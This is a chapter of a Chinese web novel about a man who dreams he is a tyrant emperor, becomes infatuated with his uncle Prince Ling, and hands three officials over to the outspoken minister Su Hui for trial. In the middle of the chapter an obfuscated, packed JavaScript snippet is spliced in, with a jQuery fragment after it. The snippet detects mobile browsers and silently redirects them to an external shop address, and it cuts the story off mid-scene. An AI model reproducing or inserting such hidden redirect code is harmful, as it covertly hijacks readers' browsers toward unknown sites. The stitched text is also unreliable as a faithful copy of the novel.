一眼万年。
一眼万年呐。
原来这就是心动的感觉吗?
不愧是做梦啊,梦里不仅让他美美当上暴君,还送他一个更加完美的梦中情人!
江永景都有点舍不得醒过来了。
被尊称为凌王殿下的来人看着相当年轻,约是三十岁上下的年龄——应该不满三十。
自汉白玉阶的皇座上远远望去时,入眼便是一身贵气十足的石青色织金云纹交领锦袍,另罩了件绣有暗纹的玄色蝉翼纱外褂,精美的数串金珠玉饰压在貂毛披领下,腰间坠着同样成制式的翡翠配饰。
被如此雍容华贵的衣裳衬托着,依然能看出他的身材漂亮得恰到好处,举手投足间显得优雅而沉稳,躬身行礼时又能看见那截被腰带勾勒出劲瘦的窄腰,在半透的蝉翼纱下若隐若现。
再搭配那双不笑也自带三分丝缕愁情的桃花眼,用玉簪低挽的乌墨青丝,实在光风霁月,贵雅无双。
“参见陛下。”对方又这么说道。
声线略低却稳重的柔和嗓音,仿佛已无数次出现在他的梦里。
江永景看了眼身边那个服侍他上朝的贴身太监,很想开口问这是不是他的皇后。
既然他是在做梦,那么哪怕是做春丨梦,梦中情人也应该是按照他的性向来捏的吧?这是多么顺理成章、合情合理的事情。
江永景的内心已经疯狂爆灯。
但好在,江永景还记得这些大臣对他的称呼——凌王殿下。
身份原来是亲王吗……
现实世界里是孤儿的江永景,在心底默默感慨。
不做梦都不知道,原来他竟然是好这一口?
很刑啊……
另一边,正处于高度警觉与看戏状态的那位贴身太监,准确捕捉到了江永景冷淡扫过来的一眼。
满朝文武都是不顶用的东西,现在陛下最需要的,是他!
陛下既然想杀那三人,便是那三人该受着的福分,怎么能在这里哭号不止,惹得陛下更不开心?
真是不知好歹。
还有凌王殿下,明显是某人紧急搬来的救兵。
他已经借故许久不曾上朝,又怎会恰好在今日出现。
因此,必定是陛下不高兴凌王殿下过来插手他的决定,但既不好明说,也不能贸然得罪,才需要他来开口。
贴身太监的脑子立即飞速运转。
能在暴君身边服侍这么长时间而不死,那察言观色的机灵劲,必然早已是锻炼的登峰造极。
于是,在江永景迟迟没给出回应的几秒时间里,贴身太监立即自觉站了出来,开始当他的嘴替。
“凌王殿下,您匆匆忙赶来,想来对前因后果有所不知,小的先来与您解释一二。”
但凌王这边也不能得罪,贴身太监同样行了个大礼,才继续说道。
“文思源、李离司、章栗这三人,接连冲撞陛下,出言不逊,不知悔改,实在犯了藐视圣听的大过,不惩戒不足以立威呐。”
“您想想,若是陛下往后做任何决定都要先被指点一番,必要依照臣子的意思去决策,那,究竟谁才是真正的圣上?小的斗胆再说一句,您贵为陛下的皇叔,又曾当过六年的摄政王爷,想必也懂得这个道理。”
最后这句话说出时,贴身太监都捏了把汗,偷偷往边上瞄了一眼。
看见陛下依旧端坐御座,没什么表情,目光只冷冰冰盯着凌王瞧,他才暗自松了口气。
他果然才是最懂陛下的人!
“自当如此。”
凌王微微颔首,声线依旧柔和,同样没有否认贴身太监的这番话,“臣刚来此处,确实不知他们是因何惹怒了陛下。”
“关于这点……”
贴身太监刚要继续解释,就被江永景挥手打断。
刚才不留神被这小子抢了话,但美梦易逝,他当然要多争取跟老婆……不是,跟皇叔说话的机会。
皇叔……咳哼,梦里的他可真会玩。
这个称呼一出口,都让他感觉有点小刺激呢。
“朕今日收到一封奏疏,言辞恳切,佐证详实。”
江永景认认真真对皇叔解释道,“而那三人,竟敢在铁证面前颠倒是非,搬弄口舌,朕自然要砍他们的脑袋。”
那封奏折么……
凌绰清目光在那被拖至门口静候的三人身上一掠而过,乌眸幽深,叫人看不清他究竟是何想法。
但当他再度抬眼时,一切模糊的情绪都迅速自他眉眼间褪去,仅剩仿若永恒不变的谦和与从容,朝江永景再度微微欠身。
“那便是臣的不对了,”
他温声慢语,“臣实不该擅闯朝堂、妄言政事,还望陛下恕罪。”
姿态摆得很低,分外恭顺,也不辩解他方才只说了句请陛下息怒,并没有“妄言政事”。
更别提他的身份贵为亲王及前摄政王,完全有资格参加早朝。
江永景早被迷得不要不要的,怎么可能会像砍那三人一样,也对侍卫下命令去砍老婆的脑袋?
就是总感觉老婆的身体不太好啊,别给站得累坏了。
他当即一挥手。
“哪里的事,皇叔如此忧心朕的事,朕高兴还来不及!皇叔也别在那一直站着了,看朕这把龙椅是不是够大,您要不坐过来休息会?”
“…………”
不,这话怎么听都感觉不对。
尤其是方才全程面无表情的陛下,此刻竟摆出过分热情的笑意。
龙椅,那是何等的存在,是谁想坐就能上去坐的吗?
站前面几排的老臣,当即齐齐转过目光,看向独自站在白玉台阶下的凌王。
凌绰清:“………”
凌绰清慢慢叹了口气。
“感念陛下关心,臣并无意久留,这便告退。”
他一作揖,视线落在身前的石砖上,却依旧能感到对方在紧盯着自己。
好似一只饿极了的野兽,不必呲牙便已散发出致命的威胁。
凌绰清没有再多说什么,往后退出半步,便打算转身离开。
啊,这么快就要走吗?
这种好梦未必还有第二次,江永景可不愿意才和老婆相处这点时间,就立刻跟对方说拜拜。
要是在做春丨梦,现在衣服都已经脱了才对。
算了没事,反正他现在的人设是暴君,谁都得听他的。
“皇叔,别急着走。”
江永景抬手便止住凌绰清正要离开的势头,不准老婆走这么快,也不舍得让老婆不高兴。
都叹气了!
“既然皇叔特意来关心朕,朕自然投桃报李,不会令皇叔难堪。”
——他说完这句,想了想,便换了种砍脑袋的方式,“这样吧,朕把他们丢进大牢里审问一下,走个遵纪守法的流程,再有理有据地砍他们的脑袋。如何?”
此话一出,前排几位大臣当即精神抖擞。
有戏!
只要不是当即掉脑袋,便是打入刑部大牢也无所谓。
那刑部尚书早就是自己人,监察御史与廷尉更不敢忤逆他们。
陛下只是今日火气大了些,等他们慢慢的审,拖上数日,拖到陛下忘了此事、心情上佳的时候,再随便找个理由恳请恕罪,便能不费多少力气就将人捞出来。
那三人顶多在里面关上几天,受点苦头。
由于文思源那三人已经被拖至殿门口,江永景的命令便由传奉官一级一级高声报唱,确保那几位侍卫能听到圣上口谕,暂且收刀留人。
也正因如此,站在后几排的苏晦及其同僚,自然也清清楚楚听见了这内容。
苏晦当即眉头紧锁,“怎么能让他们去审?”
他只是人微言轻,并非愚蠢迟钝。
他太懂那帮一丘之貉是如何互相包庇的了!
若非这些年东奔西走依然没有办法,他也不会冒死写下那封奏疏,夹在请安折子里呈上去。
江山社稷即将被蛀空啃尽,曾经初入官场、想要做出一番事业的他意气风发,妄图大展拳脚。
如今,他却在反复的磋磨与贬谪中辗转难眠,在烛火中静静伫立半夜后,甘愿赌最后一次,赌上自身性命。
而今日,苏晦便知他的豪赌,成功了。
果然,陛下往日所作所为并非昏庸残暴,完全是被那些奸佞蒙蔽了双眼。
陛下今年二十二,亲政不过三年有余,又怎知朝堂已腐坏至此?
但陛下还是不懂,这番下狱行为,根本就是让英雄去查英雄,好汉去审好汉。
仍旧无济于事。
苏晦正愁眉苦思着,内阁同僚拉拉他的衣角,眨眼努嘴疯狂示意。
“走什么神?”他说。
“皇上喊你办事呢!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791960|210416||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
苏晦一抬头,便看见传奉官双手拢在袖袍里,传来的声响如轰隆雷鸣。
“特令内阁大学士苏晦为此事唯一主审官,今日内出结果,无需刑部、监察院与昭律署多方会审——此外,不论苏晦作何判决,其余人等,一概不准再有异议——”
苏晦的眼睛亮了。
文思源三人刚升起点盼望的脸又暗了。
前排那几位老臣则大吃一惊,没想到江永景会做出这决定。
内阁群辅之一,还是个上不得台面的末流,竟然会被陛下派去审问文思源他们?
为何偏偏是他?!
几人互相之间,眼神无声交流一番。
莫非陛下真的被那封奏疏打动了,是在提防他们?
这不应当,那位之前也并非没有听过类似进谏,但都是在听完他们这边的驳斥后,便将人交给他们处理,不再过问。
为何偏偏是这次不一样了……!
故意的,江永景根本就是故意这样做的!
他不止在讥讽凌王殿下的多管闲事,还刻意要愚弄他们一番!
如果不是在朝堂上,这几个老臣可能会气得浑身发抖。
可惜,他们再如何思考也没用。
皇帝才是那个真正拥有天下的存在,他说出口的每个字,都必定要令所有人皆低头服从。
凌绰清也不例外。
“臣听陛下的。”
他垂眸谢恩,没有对江永景换掉主审官的决定作出任何质疑。
江永景的心情则相当愉快,觉得自己想的主意棒极了。
那三个人跳出来,用长篇大论来盛赞他是明君;苏晦在奏折里嘴臭了六页纸,就为了变着花样骂他是暴君。
这意味着什么?
意味着苏晦和那三个人立场不合,甚至可能有仇。
既然如此,他当然要让这个连皇帝都敢骂的嘴臭王者去审那三人,干一些仇者快、亲者痛的好事。
反正那三人的脑袋嘛,肯定是要砍掉的。
他都当皇帝了,怎么能食言呢?
要不是为了哄皇叔高兴,他也不会走这个审讯流程,磨磨唧唧的叫他们多活了大半日。
算了,多喂一顿断头饭的事。
早朝上到这里,江永景已经心满意足,宣布退朝。
起身时,他又想起件事。
“接下来,朕是不是要去批奏折?”
贴身太监赶忙应是,“陛下想不去也行,内阁与置礼监自会尽力为陛下分忧。”
江永景当即拒绝,“朕今日要亲自批阅。”
给别人干怎么行,批奏折也是当暴君不得不品的一环啊。
走了两步,江永景又回过身。
“皇叔随朕一起来。”
梦里的老婆看一眼少一眼,可不能让他跑了。
“………臣领旨。”
正要退下的凌绰清步伐微顿。当他再抬起眼时,依然是那副温雅恭顺的亲王模样。
这句命令背后蕴藏的含义可太深了,再加上此次早朝闹出的大事……
满朝文武暗自揣摩圣意,各怀心思的作揖行礼,依序退出。
………
由贴身太监与侍卫开路,带着江永景来到了德明宫。
这是皇帝日常批改奏折、召见近臣的地方。
正中间摆放御案,旁边设有暖阁与卧榻,方便随时小憩或夜深就寝。
自从江永景亲政,凌绰清已经许久没有来过这地方。
作为曾监国六年的前摄政王,他十分清楚陛下防自己防得最紧,一丁点权力都不想漏给他,半分政要事务也不肯让他过目。
若非今日赶来的那人将事情描述得极为严重,他同样不会轻易踏入那间大殿。
然而……
凌绰清敛目缄默,一路皆安静跟在江永景身后。
门扉闭合,贴身太监没有进来伺候,整个房间内只有他们二人。
等他暗自理完思绪,抬眼便见到江永景坐在御案后,却没有去看那一摞又一摞整齐堆放的奏折。
对方只是将手肘撑在案面,唇角微微弯起,朝他这边露出一点期待的、兴致盎然的、甚至带有几分侵略性的笑意。
如此注视了他许久,直等到他主动抬起头,与他对视。
接着,凌绰清终于听见江永景开口。
“皇叔,衣袍脱了吧。”